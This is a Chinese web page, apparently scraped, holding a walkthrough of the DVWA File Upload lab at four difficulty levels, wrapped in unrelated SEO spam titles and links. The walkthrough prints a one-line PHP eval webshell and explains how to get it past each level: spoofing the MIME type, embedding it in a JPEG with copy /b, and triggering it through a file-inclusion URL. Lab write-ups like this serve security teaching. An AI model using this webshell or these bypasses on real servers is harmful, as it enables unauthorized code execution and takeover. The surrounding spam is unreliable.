当前位置: 首页 > news >正文

广州番禺网站制作苏州手机网站建设

广州番禺网站制作,苏州手机网站建设,旅游时政热点新闻,网站建设资金管理办法DVWA -File Upload-通关教程-完结 文章目录 DVWA -File Upload-通关教程-完结页面功能LowMediumHighImpossible 页面功能 此页面的功能为选择某个图片文件点击Upload按钮上传#xff0c;上传成功后得知文件上传路径为DVWA\hackable\uploads。 Low 源码审计 这段 PHP 代码…DVWA -File Upload-通关教程-完结 文章目录 DVWA -File Upload-通关教程-完结页面功能LowMediumHighImpossible 页面功能 此页面的功能为选择某个图片文件点击Upload按钮上传上传成功后得知文件上传路径为DVWA\hackable\uploads。 Low 源码审计 这段 PHP 代码是一个简单的文件上传处理程序它接受通过 POST 请求上传的文件并将其保存到指定的目录中。 if( isset( $_POST[ Upload ] ) ) {: 这行代码检查是否收到了名为 Upload 的 POST 请求。如果收到了该请求说明用户尝试上传文件。 $target_path DVWA_WEB_PAGE_TO_ROOT . hackable/uploads/;: 这行代码定义了上传文件的目标路径即服务器上保存上传文件的目录。DVWA_WEB_PAGE_TO_ROOT 是一个常量用于获取 DVWA 根目录的路径。文件将保存在 hackable/uploads/ 目录下。 $target_path . basename( $_FILES[ uploaded ][ name ] );: 这行代码将上传文件的名称附加到目标路径中以便将文件保存到正确的位置。 if( !move_uploaded_file( $_FILES[ uploaded ][ tmp_name ], $target_path ) ) {: 这行代码使用 move_uploaded_file() 函数将临时存储的上传文件移动到目标路径。如果移动失败则输出错误消息。 echo pre{$target_path} succesfully uploaded!/pre;: 如果移动成功则输出成功消息指示文件已成功上传到目标路径。 由此可见源码对上传文件直接移动而文件的类型、内容没有做任何的检查、过滤。 ?phpif( isset( $_POST[ Upload ] ) ) {// Where are we going to be writing to?$target_path DVWA_WEB_PAGE_TO_ROOT . hackable/uploads/;$target_path . basename( $_FILES[ uploaded ][ name ] );// Can we move the file to the upload folder?if( !move_uploaded_file( $_FILES[ uploaded ][ tmp_name ], $target_path ) ) {// Noecho preYour image was not uploaded./pre;}else {// Yes!echo pre{$target_path} succesfully uploaded!/pre;} }?漏洞利用 由于没有任何的过滤因此我们可以直接上传一个一句话木马. ?php eval($_POST[kfc]) ?直接上传网页没有进行过滤直接返回了上传成功的信息。 访问Webshell地址页面为空白页面即为正常解析执行。 打开蚁剑使用上传的一句话木马进行连接直接 Webshell。此时可以随意访问服务器上的任意文件进行任意操作。 Medium 源码审计 这段 PHP 代码是一个带有文件类型和大小限制的文件上传处理程序。 if( isset( $_POST[ Upload ] ) ) {: 这行代码检查是否收到了名为 Upload 的 POST 请求。如果收到了该请求说明用户尝试上传文件。 $target_path DVWA_WEB_PAGE_TO_ROOT . hackable/uploads/;: 这行代码定义了上传文件的目标路径即服务器上保存上传文件的目录。DVWA_WEB_PAGE_TO_ROOT 是一个常量用于获取 DVWA 根目录的路径。文件将保存在 hackable/uploads/ 目录下。 $target_path . basename( $_FILES[ uploaded ][ name ] );: 这行代码将上传文件的名称附加到目标路径中以便将文件保存到正确的位置。 // File information: 这部分代码获取了上传文件的信息包括文件名、文件类型和文件大小。 // Is it an image?: 这行代码检查上传文件的类型和大小是否符合要求。如果上传文件是 JPEG 或 PNG 格式并且文件大小不超过 100KB则继续执行上传操作否则输出错误消息。 if( !move_uploaded_file( $_FILES[ uploaded ][ tmp_name ], $target_path ) ) {: 这行代码使用 move_uploaded_file() 函数将临时存储的上传文件移动到目标路径。如果移动失败则输出错误消息。 echo pre{$target_path} succesfully uploaded!/pre;: 如果移动成功则输出成功消息指示文件已成功上传到目标路径。 else { // Invalid file echo preYour image was not uploaded. We can only accept JPEG or PNG images./pre; }: 如果上传文件不是 JPEG 或 PNG 格式或者文件大小超过 100KB则输出错误消息指示上传的文件不符合要求。 由此可见源码会获取文件的文件名、文件类型和文件大小它要求文件类型必须是 jpeg 或者 png同时限制文件大小不能超过 100000B约为97.6KB。 ?phpif( isset( $_POST[ Upload ] ) ) {// Where are we going to be writing to?$target_path DVWA_WEB_PAGE_TO_ROOT . hackable/uploads/;$target_path . basename( $_FILES[ uploaded ][ name ] );// File information$uploaded_name $_FILES[ uploaded ][ name ];$uploaded_type $_FILES[ uploaded ][ type ];$uploaded_size $_FILES[ uploaded ][ size ];// Is it an image?if( ( $uploaded_type image/jpeg || $uploaded_type image/png ) ( $uploaded_size 100000 ) ) {// Can we move the file to the upload folder?if( !move_uploaded_file( $_FILES[ uploaded ][ tmp_name ], $target_path ) ) {// Noecho preYour image was not uploaded./pre;}else {// Yes!echo pre{$target_path} succesfully uploaded!/pre;}}else {// Invalid fileecho preYour image was not uploaded. We can only accept JPEG or PNG images./pre;} }?漏洞利用 此时我们再直接传输上面的一句话木马会发现上传失败。 先做个一句话木马然后用 brup 抓包看到上传的 PHP 文件类型会被显示在包中。 修改文件类型为 image/png然后放包。 可以看到虽然我们传的还是一句话木马但是通过修改 http 报文可以通过网页的白名单检测再次蚁剑连接即可。 High 源码审计 这段 PHP 代码是一个带有更严格文件类型和大小限制的文件上传处理程序 if( isset( $_POST[ Upload ] ) ) {: 这行代码检查是否收到了名为 Upload 的 POST 请求。如果收到了该请求说明用户尝试上传文件。 $target_path DVWA_WEB_PAGE_TO_ROOT . hackable/uploads/;: 这行代码定义了上传文件的目标路径即服务器上保存上传文件的目录。DVWA_WEB_PAGE_TO_ROOT 是一个常量用于获取 DVWA 根目录的路径。文件将保存在 hackable/uploads/ 目录下。 $target_path . basename( $_FILES[ uploaded ][ name ] );: 这行代码将上传文件的名称附加到目标路径中以便将文件保存到正确的位置。 // File information: 这部分代码获取了上传文件的信息包括文件名、文件扩展名、文件大小和临时文件路径。 // Is it an image?: 这行代码检查上传文件的类型和大小是否符合要求并使用 getimagesize() 函数验证上传文件是否为有效的图像文件。如果上传文件是 JPEG 或 PNG 格式、文件大小不超过 100KB并且是有效的图像文件则继续执行上传操作否则输出错误消息。 if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {: 这行代码使用 move_uploaded_file() 函数将临时存储的上传文件移动到目标路径。如果移动失败则输出错误消息。 echo pre{$target_path} succesfully uploaded!/pre;: 如果移动成功则输出成功消息指示文件已成功上传到目标路径。 else { // Invalid file echo preYour image was not uploaded. We can only accept JPEG or PNG images./pre; }: 如果上传文件不符合要求则输出错误消息指示上传的文件不符合要求。 重点strrpos(string,find,start) 函数返回字符串 find 在另一字符串 string 中最后一次出现的位置如果没有找到字符串则返回 false可选参数 start 规定在何处开始搜索。getimagesize(string filename) 函数会通过读取文件头返回图片的长、宽等信息如果没有相关的图片文件头则报错。源码通过字符串匹配来确定文件后缀名并且查看文件的相关参数提高了过滤的强度。 ?phpif( isset( $_POST[ Upload ] ) ) {// Where are we going to be writing to?$target_path DVWA_WEB_PAGE_TO_ROOT . hackable/uploads/;$target_path . basename( $_FILES[ uploaded ][ name ] );// File information$uploaded_name $_FILES[ uploaded ][ name ];$uploaded_ext substr( $uploaded_name, strrpos( $uploaded_name, . ) 1);$uploaded_size $_FILES[ uploaded ][ size ];$uploaded_tmp $_FILES[ uploaded ][ tmp_name ];// Is it an image?if( ( strtolower( $uploaded_ext ) jpg || strtolower( $uploaded_ext ) jpeg || strtolower( $uploaded_ext ) png ) ( $uploaded_size 100000 ) getimagesize( $uploaded_tmp ) ) {// Can we move the file to the upload folder?if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {// Noecho preYour image was not uploaded./pre;}else {// Yes!echo pre{$target_path} succesfully uploaded!/pre;}}else {// Invalid fileecho preYour image was not uploaded. We can only accept JPEG or PNG images./pre;} }?漏洞利用 由于源码会去检查文件头现在我们不能再传 php 文件了应该把一句话木马包在一张图片里面。 首先我们要准备一张图片和一句话木马然后使用 copy 命令把两个文件合成为一个文件。 copy panda.jpeg/b webshell.txt panda2.jpeg //注意此命令需要在windows下执行然后直接上传网页提示上传成功。但是此时是不能用蚁剑连接的因为蚁剑的原理是向上传文件发送包含参数的 post 请求通过控制参数来执行不同的命令。这里服务器将木马文件解析成了图片文件因此向其发送 post 请求时服务器并不会执行相应命令。 因此我们要把这张图片当做 php 来执行才行我们可以用File Inclusion(文件包含) 漏洞构造 payload。 ?pagefile:///E:\phpStudy\WWW\DVWA\hackable\uploads\panda2.jpeg访问下看看可以看到这个 url 使得一句话木马被解析也就是说这个时候就可以使用蚁剑或者中国菜刀连接。 链接URLhttp://192.168.197.208/DVWA/vulnerabilities/fi/?pagefile:///E:\phpStudy\WWW\DVWA\hackable\uploads\panda2.jpeg Impossible 源码审计 到目前为止源码将检查所有级别的所有内容。 ?phpif( isset( $_POST[ Upload ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ user_token ], $_SESSION[ session_token ], index.php );// File information$uploaded_name $_FILES[ uploaded ][ name ];$uploaded_ext substr( $uploaded_name, strrpos( $uploaded_name, . ) 1);$uploaded_size $_FILES[ uploaded ][ size ];$uploaded_type $_FILES[ uploaded ][ type ];$uploaded_tmp $_FILES[ uploaded ][ tmp_name ];// Where are we going to be writing to?$target_path DVWA_WEB_PAGE_TO_ROOT . hackable/uploads/;//$target_file basename( $uploaded_name, . . $uploaded_ext ) . -;$target_file md5( uniqid() . $uploaded_name ) . . . $uploaded_ext;$temp_file ( ( ini_get( upload_tmp_dir ) ) ? ( sys_get_temp_dir() ) : ( ini_get( upload_tmp_dir ) ) );$temp_file . DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . . . $uploaded_ext;// Is it an image?if( ( strtolower( $uploaded_ext ) jpg || strtolower( $uploaded_ext ) jpeg || strtolower( $uploaded_ext ) png ) ( $uploaded_size 100000 ) ( $uploaded_type image/jpeg || $uploaded_type image/png ) getimagesize( $uploaded_tmp ) ) {// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)if( $uploaded_type image/jpeg ) {$img imagecreatefromjpeg( $uploaded_tmp );imagejpeg( $img, $temp_file, 100);}else {$img imagecreatefrompng( $uploaded_tmp );imagepng( $img, $temp_file, 9);}imagedestroy( $img );// Can we move the file to the web root from the temp folder?if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {// Yes!echo prea href${target_path}${target_file}${target_file}/a succesfully uploaded!/pre;}else {// Noecho preYour image was not uploaded./pre;}// Delete any temp filesif( file_exists( $temp_file ) )unlink( $temp_file );}else {// Invalid fileecho preYour image was not uploaded. We can only accept JPEG or PNG images./pre;} }// Generate Anti-CSRF token generateSessionToken();?
http://www.pierceye.com/news/267547/

相关文章:

  • 烟台网站建设优惠臻动传媒做网站怎么挣钱
  • 重庆网站建设mlfartwordpress4 中文
  • 永州建设企业网站阿里云 网站部署
  • 学校做网站难吗创新logo设计
  • 国内用python做的网站如何做网站讯息
  • 的网站开发工具有哪些免费制作永久企业网站
  • 网站举报查询一个网站开发的权限
  • 简约网站程序海南网络广播电视台少儿频道
  • 深圳高端品牌网站设计wordpress 树形主题
  • 怎么自己创建一个网站国外企业网络研究
  • 去百度建网站北京企业网站设计公司
  • mysql 收费 网站建设wordpress主题后台不显示
  • 网站cname解析陕西住房建设厅考试官方网站
  • 网站建设有关书籍设计制作散发寄递
  • 威海建设信息网站织梦网站广告代码如何写
  • 玉林市网站开发公司wordpress tag静态化
  • 广州网站建设建航科技百度域名书写
  • 免费做网站安全吗网站不备案可以访问吗
  • 网上做网站兼职最近10条重大新闻
  • 企业网站制作 徐州政务网站建设要求
  • 网站链接加密重庆黄埔seo整站优化
  • 没有网站怎么做链接视频播放器crm营销管理系统
  • 网站建设艾金手指六六12app源码开发公司
  • 山东做网站建设公司排名互联网官网
  • 民宿网站开发方案静态网站源文件下载
  • 绵阳网站建设优化甘肃省安装建设集团公司网站
  • wordpress建站知乎广告设计软件coreldraw教程
  • wordpress注册无法发送邮件保定seo外包服务商
  • 进口外贸网站有哪些wordpress百度统计代码
  • 建筑网站排行国外网站备案流程